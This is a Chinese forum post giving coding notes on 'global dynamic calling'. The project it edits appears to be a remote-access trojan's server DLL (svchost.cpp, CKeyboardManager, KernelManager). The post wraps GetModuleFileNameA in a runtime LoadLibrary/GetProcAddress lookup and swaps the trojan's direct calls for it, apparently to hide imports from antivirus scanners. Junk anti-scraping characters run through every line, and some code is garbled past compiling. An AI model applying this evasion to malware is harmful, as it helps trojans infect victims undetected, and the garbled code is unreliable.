返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记; S6 k6 m  {2 v  m; c1 r+ I
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h4 b- P' K) O; j* X. R  H; R2 e; R( E
----------------------------------------
+ L5 f6 K2 b8 Z, R# _DTDY.h:$ ?: z6 ?* d: [
4 x1 R' t  r& g
#if _MSC_VER>1000: A$ v/ L/ U# R9 {) ]+ d# z
#pragma once
2 A9 i" q8 O1 D, E#endif //_MSC_VER>1000& M: |* b  n. x4 v* ?0 c
#include<windows.h>
- d4 T' O! E' A. h) y! P: }( U6 ~; B- Z2 D: j/ n  d
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);6 A& l- r8 P7 G& J) [( S( r
class DTDY
! r" C" _1 p; L{: i( Y$ Y# N: E/ x4 |
public:
. N2 P5 }( t, `- Q/ yDTDY();
( P+ k+ e/ f1 cvirtual ~DTDY();
4 \6 l1 I$ T& _0 P. @; X% ppublic:8 l( E! H1 V6 z0 k
static pGetModuleFileNameA MyGetModuleFileName;
+ r1 O8 C+ E3 g7 [" p! E2 Xstatic BOOL FunInitiallization();
/ [5 w# D$ B4 n5 W};8 C$ p7 C! u% u: |( d3 e2 X
#endif! z- R0 P% P* X7 d+ c" d! N
----------------------------------------5 B+ s  A* ]; t5 H% R9 j$ v

9 c  ?1 F0 v8 _! p0 g; s' tDTDY.cpp:
- O" c& R7 i% Y/ a0 w  Q6 d5 ?8 i5 \8 n/ n+ p8 z# b
#include "DTDY.h"
, O; @+ Y8 a# R: ?2 z( h/ ?pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
, F: ]/ q3 G% N, _DTDY:TDY()) }9 i# s" {  T
{5 b. b; ~& w6 A- o9 Q& ?! e
}
+ O) C$ c' G6 i& c7 ?* B) s0 k' R; qDTDY::~DTDY()! b! I' ]# u- Z% ?) \  ^5 P; O
{
! T* [0 w# ]. u' w: Y5 b}0 O) M+ c6 |6 `" }4 n% X4 _' o: r
BOOL DTDY::FunInitiallization(). v" |+ o; n+ E* f
{
, h- E5 [; W5 R( ?HMODULE hModule=LoadLibrary("kernel32.dll");) w$ @  z' Y& E% Q- w6 |4 ]
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
( ^  ^7 A( d3 d$ z( N9 bif(!MyGetModuleFileName=) return FALSE;
* C2 M* v: L- s; O) z7 S( U3 `: B
. h" p. c4 d# a! q6 }/ k% X5 ?& Xreturn TRUE;
" F# b3 Z5 c) T- Y1 k; ~0 G  A# p}
2 ?0 B/ T: S# c+ r0 G/ Y  |. f. c----------------------------------------$ W9 {7 v( T3 y8 X: d# [$ s
svchost.cpp:* {% O5 [+ E' f4 l' N
) I1 {) \# m) U% |* c+ m4 Z1 O
#include "DTDY.h"- w/ k% Z# `0 ?% E
# \6 K  e" \7 Q$ N8 K
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)1 R% D$ r0 u/ b- d
{
- L6 X0 ~7 i  Qswitch(ul_reason_for_call)
" c8 }  B; e" H{
+ M3 ~$ G5 Z( o" Q* P- E$ pcase DLL_PROCESS_ATTACH:
( y) P5 \' E( B1 I$ X: G; |if(!DTDY::FunInitiallization()) return FALSE;5 D3 v$ n  r) F
$ m2 D9 s5 O4 m. j- J. }
break;
4 Y' i0 J/ l0 e6 w+ ^: P}
) u0 y0 h- C5 ?! o5 e2 u& s4 c}
7 g1 g8 o) W4 b* U6 e; ?- x
  [- Q7 m6 a2 s) n4 K9 K1 k4 R6 n, H5 t9 t) L' R
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
0 H, B' c* v4 e1 f1 u改写为
" x! |# l( m8 [DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
6 h5 z& y" T  u----------------------------------------' H" q8 Z# \* i  e
KernelManager.cpp:( x, M) J) z1 F; e# u  H! ]! K

0 C+ X) w5 A& t6 |( `#include "../DTDY.h"
/ x  S" J* Q$ `$ NGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));. C# I2 V& a1 z' }9 g
改写为6 P5 \0 v' r* Z) I0 t! A
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));* E, N9 y& _& ?$ }
----------------------------------------

返回列表